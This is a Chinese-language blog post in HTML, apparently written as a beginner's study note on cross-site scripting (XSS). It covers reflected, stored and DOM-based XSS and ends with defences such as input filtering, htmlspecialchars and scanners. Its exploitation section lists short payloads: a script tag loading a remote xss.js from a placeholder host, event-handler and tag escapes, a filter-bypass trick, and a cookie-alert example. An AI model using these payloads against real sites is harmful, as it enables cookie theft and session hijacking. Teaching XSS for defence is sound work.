<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.3.0">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/avatar.jpg">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/avatar.jpg">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/avatar.jpg">
  <link rel="mask-icon" href="/images/logo.svg" color="#222">

<link rel="stylesheet" href="/css/main.css">


<link rel="stylesheet" href="/lib/font-awesome/css/font-awesome.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"yoursite.com","root":"/","scheme":"Mist","version":"7.7.2","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":false,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}}};
  </script>

  <meta name="description" content="简单分析了Xss的原理及常见的攻击与防御方式">
<meta property="og:type" content="article">
<meta property="og:title" content="Xss学习">
<meta property="og:url" content="http://yoursite.com/2020/04/04/security/xss/index.html">
<meta property="og:site_name" content="Shouquan">
<meta property="og:description" content="简单分析了Xss的原理及常见的攻击与防御方式">
<meta property="og:locale" content="zh_CN">
<meta property="article:published_time" content="2020-04-04T13:00:18.598Z">
<meta property="article:modified_time" content="2021-01-24T11:12:11.251Z">
<meta property="article:author" content="shou quan">
<meta property="article:tag" content="Xss">
<meta name="twitter:card" content="summary">

<link rel="canonical" href="http://yoursite.com/2020/04/04/security/xss/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true
  };
</script>

  <title>Xss学习 | Shouquan</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <div>
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">Shouquan</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
    </div>
  </div>
</div>


<nav class="site-nav">
  
  <ul id="menu" class="menu">
        <li class="menu-item menu-item-home">

    <a href="/" rel="section"><i class="fa fa-fw fa-home"></i>首页</a>

  </li>
        <li class="menu-item menu-item-about">

    <a href="/about/" rel="section"><i class="fa fa-fw fa-user"></i>关于</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/tags/" rel="section"><i class="fa fa-fw fa-tags"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/categories/" rel="section"><i class="fa fa-fw fa-th"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/archives/" rel="section"><i class="fa fa-fw fa-archive"></i>归档</a>

  </li>
        <li class="menu-item menu-item-sitemap">

    <a href="/sitemap.xml" rel="section"><i class="fa fa-fw fa-sitemap"></i>站点地图</a>

  </li>
  </ul>

</nav>
</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content">
            

  <div class="posts-expand">
      
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block " lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2020/04/04/security/xss/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.jpg">
      <meta itemprop="name" content="shou quan">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Shouquan">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          Xss学习
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              <time title="创建时间：2020-04-04 21:00:18" itemprop="dateCreated datePublished" datetime="2020-04-04T21:00:18+08:00">2020-04-04</time>
            </span>
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2021-01-24 19:12:11" itemprop="dateModified" datetime="2021-01-24T19:12:11+08:00">2021-01-24</time>
              </span>
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/web/" itemprop="url" rel="index"><span itemprop="name">web</span></a>
                </span>
            </span>

          
            <span id="/2020/04/04/security/xss/" class="post-meta-item leancloud_visitors" data-flag-title="Xss学习" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
  
  <span class="post-meta-item">
    
      <span class="post-meta-item-icon">
        <i class="fa fa-comment-o"></i>
      </span>
      <span class="post-meta-item-text">Valine：</span>
    
    <a title="valine" href="/2020/04/04/security/xss/#valine-comments" itemprop="discussionUrl">
      <span class="post-comments-count valine-comment-count" data-xid="/2020/04/04/security/xss/" itemprop="commentCount"></span>
    </a>
  </span>
  
  

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <pre><code>简单分析了Xss的原理及常见的攻击与防御方式</code></pre><a id="more"></a>
<h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>Xss被称作是跨站脚本攻击，类似于sql注入一样，攻击者在执行Xss时将恶意的脚本代码注入到网页中，当其他正常用户访问该网页时，恶意脚本就会被浏览器解析，危害用户安全。导致用户面临cookie窃取，session劫持等诸多危险。</p>
<h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>攻击者把恶意的脚本代码注入到网页之中，当其他用户访问网页时候，就会触发其中的恶意代码</p>
<h2 id="危害"><a href="#危害" class="headerlink" title="危害"></a>危害</h2><p>挂马、窃取Cookie、会话劫持、钓鱼欺骗、劫持用户的web行为、执行蠕虫攻击等</p>
<h2 id="反射型Xss"><a href="#反射型Xss" class="headerlink" title="反射型Xss"></a>反射型Xss</h2><p>反射型的Xss的主要形成原因在于后端服务器在解析用户输入的数据时，将用户输入的数据解析为脚本数据，传递回浏览器后浏览器解析时当作脚本进行解析，触发Xss漏洞。</p>
<h2 id="持久型Xss"><a href="#持久型Xss" class="headerlink" title="持久型Xss"></a>持久型Xss</h2><p>持久型的Xss和反射性Xss的主要区别在于Xss代码是否被保存到数据库(或其他持久化存储介质中)。反射型Xss需要用户每次输入相关的Xss代码才能触发，而存储型Xss则可以存储到服务器的数据库中，每次服务器向浏览器传递该数据时就会触发Xss代码，例如在留言板等web应用中，攻击者留言</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;alert(<span class="built_in">document</span>.cookie)&lt;<span class="regexp">/script&gt;</span></span><br></pre></td></tr></table></figure>
<p>当其他用户访问留言板时，服务器向浏览器传递该留言，但是浏览器将留言解析为脚本并且执行，导致Xss漏洞被触发。</p>
<h2 id="DOM型Xss"><a href="#DOM型Xss" class="headerlink" title="DOM型Xss"></a>DOM型Xss</h2><p>DOM型的Xss则是针对文档直接进行的攻击，通过修改dom中的数据在本地执行，触发Xss漏洞。</p>
<h2 id="利用方式"><a href="#利用方式" class="headerlink" title="利用方式"></a>利用方式</h2><p>普通的XSS:<code>&lt;script src=http://www.xxx.com/xss.js&gt;&lt;/script&gt;</code><br>标签逃逸，eg:<code>&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code><br>添加事件逃逸，eg:<code>&quot; onmouseover=&quot;alert(1)&quot;&gt;</code><br>拼接绕过，eg:<code>&quot; ononclickclick=&quot;alert(1)&quot;</code><br>通过url插入:<code>http://test.ctf8.com/level1.php?&lt;script&gt;console.log(111)&lt;/script&gt;</code><br>通过标签插入XSS:<code>&lt;img src=http://www.xxx.com/xss.js&gt;</code></p>
<h2 id="防御方式"><a href="#防御方式" class="headerlink" title="防御方式"></a>防御方式</h2><p>永远不要相信用户的输入，通过建立尽可能完善的过滤体系来防止XSS攻击的出现。</p>
<p>可以采用正则表达式过滤，采用Htmlspecialchars转换输入等方式对用户输入进行处理。</p>
<p>作为OWASP top 10的漏洞，当前也有许多针对XSS漏洞或XSS隐患的自动化扫描工具，注入NoXss，w13scan等等，开发者通过借助这些自动化工具，可以有效的提高自身应用的安全性。</p>
<h2 id="闯关平台"><a href="#闯关平台" class="headerlink" title="闯关平台"></a>闯关平台</h2><p>xss-lab</p>

    </div>

    
    
    

      <footer class="post-footer">
      <div>
     
       
<div class="my_post_copyright">
<div style="text-align:center;color: #ccc;font-size:14px;">
------ 版权信息 ------</div>
 <script src="//cdn.bootcss.com/clipboard.js/1.5.10/clipboard.min.js"></script>
 
 <p><span>本文标题:</span><a href="/2020/04/04/security/xss/">Xss学习</a></p>
 <p><span>文章作者:</span><a href="/" title="访问  的个人博客"></a></p>
 <p><span>原始链接:</span><a href="/2020/04/04/security/xss/" title="Xss学习">http://yoursite.com/2020/04/04/security/xss/</a>
    <span class="copy-path"  title="点击复制文章链接"><i class="fa fa-clipboard" data-clipboard-text="http://yoursite.com/2020/04/04/security/xss/"  aria-label="复制成功！"></i></span>
 </p>
 <p><span>许可协议:</span><a rel="license" href="https://creativecommons.org/licenses/by-nc-nd/4.0/" target="_blank" title="Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)">本博客所有文章除特别声明外，均采用<i class="fa fa-creative-commons"></i>BY-NC-SA 许可协议。转载请注明出处！</a></p>  
</div>
<script> 
   var clipboard = new Clipboard('.fa-clipboard');
   $(".fa-clipboard").click(function(){
     clipboard.on('success', function(){
       swal({   
         title: "",   
         text: '复制成功',
         icon: "success", 
         showConfirmButton: true
         });
 	 });
   });  
</script>


     
</div>
          <div class="post-tags">
              <a href="/tags/Xss/" rel="tag"># Xss</a>
          </div>

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/2020/03/28/diaries/mind/" rel="prev" title="你好，世界">
      <i class="fa fa-chevron-left"></i> 你好，世界
    </a></div>
      <div class="post-nav-item">
    <a href="/2020/04/04/security/csrf/" rel="next" title="CSRF简单学习">
      CSRF简单学习 <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  

  </div>


          </div>
          
    <div class="comments" id="valine-comments"></div>

<script>
  window.addEventListener('tabs:register', () => {
    let activeClass = CONFIG.comments.activeClass;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E4%BB%8B%E7%BB%8D"><span class="nav-number">1.</span> <span class="nav-text">介绍</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%8E%9F%E7%90%86"><span class="nav-number">2.</span> <span class="nav-text">原理</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%8D%B1%E5%AE%B3"><span class="nav-number">3.</span> <span class="nav-text">危害</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%8F%8D%E5%B0%84%E5%9E%8BXss"><span class="nav-number">4.</span> <span class="nav-text">反射型Xss</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%8C%81%E4%B9%85%E5%9E%8BXss"><span class="nav-number">5.</span> <span class="nav-text">持久型Xss</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#DOM%E5%9E%8BXss"><span class="nav-number">6.</span> <span class="nav-text">DOM型Xss</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F"><span class="nav-number">7.</span> <span class="nav-text">利用方式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E9%98%B2%E5%BE%A1%E6%96%B9%E5%BC%8F"><span class="nav-number">8.</span> <span class="nav-text">防御方式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E9%97%AF%E5%85%B3%E5%B9%B3%E5%8F%B0"><span class="nav-number">9.</span> <span class="nav-text">闯关平台</span></a></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="shou quan"
      src="/images/avatar.jpg">
  <p class="site-author-name" itemprop="name">shou quan</p>
  <div class="site-description" itemprop="description"></div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/archives/">
        
          <span class="site-state-item-count">26</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
      <div class="site-state-item site-state-categories">
            <a href="/categories/">
          
        <span class="site-state-item-count">13</span>
        <span class="site-state-item-name">分类</span></a>
      </div>
      <div class="site-state-item site-state-tags">
            <a href="/tags/">
          
        <span class="site-state-item-count">22</span>
        <span class="site-state-item-name">标签</span></a>
      </div>
  </nav>
</div>


  <div class="links-of-blogroll motion-element">
    <div class="links-of-blogroll-title">
      <i class="fa fa-fw fa-link"></i>
      小伙伴们
    </div>
    <ul class="links-of-blogroll-list">
        <li class="links-of-blogroll-item">
          <a href="http://zkwanp.com/" title="http:&#x2F;&#x2F;zkwanp.com" rel="noopener" target="_blank">这款顽皮</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="http://www.xiaoludingding.top/" title="http:&#x2F;&#x2F;www.xiaoludingding.top" rel="noopener" target="_blank">小鹿叮叮纸尿裤</a>
        </li>
    </ul>
  </div>

      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

<div class="copyright">
  
  &copy; 
  <span itemprop="copyrightYear">2021</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">shou quan</span>
</div>
  <div class="powered-by">由 <a href="https://hexo.io/" class="theme-link" rel="noopener" target="_blank">Hexo</a> 强力驱动 v5.3.0
  </div>
  <span class="post-meta-divider">|</span>
  <div class="theme-info">主题 – <a href="https://mist.theme-next.org/" class="theme-link" rel="noopener" target="_blank">NexT.Mist</a> v7.7.2
  </div>

        








      </div>
    </footer>
  </div>

  
  <script src="/lib/anime.min.js"></script>
  <script src="/lib/velocity/velocity.min.js"></script>
  <script src="/lib/velocity/velocity.ui.min.js"></script>

<script src="/js/utils.js"></script>

<script src="/js/motion.js"></script>


<script src="/js/schemes/muse.js"></script>


<script src="/js/next-boot.js"></script>




  















  

  


<script>
NexT.utils.loadComments(document.querySelector('#valine-comments'), () => {
  NexT.utils.getScript('//unpkg.com/valine/dist/Valine.min.js', () => {
    var GUEST = ['nick', 'mail', 'link'];
    var guest = 'nick,mail,link';
    guest = guest.split(',').filter(item => {
      return GUEST.includes(item);
    });
    new Valine({
      el         : '#valine-comments',
      verify     : false,
      notify     : false,
      appId      : 'eTrO8AWvxgIw1eLbKw8iikkE-gzGzoHsz',
      appKey     : 'EcMtYpxCRefmUxWAVnp1NEn2',
      placeholder: "快来·~ ◑ω◐",
      avatar     : 'mm',
      meta       : guest,
      pageSize   : '10' || 10,
      visitor    : true,
      lang       : 'zh-cn' || 'zh-cn',
      path       : location.pathname,
      recordIP   : true,
      serverURLs : ''
    });
  }, window.Valine);
});
</script>

</body>
</html>
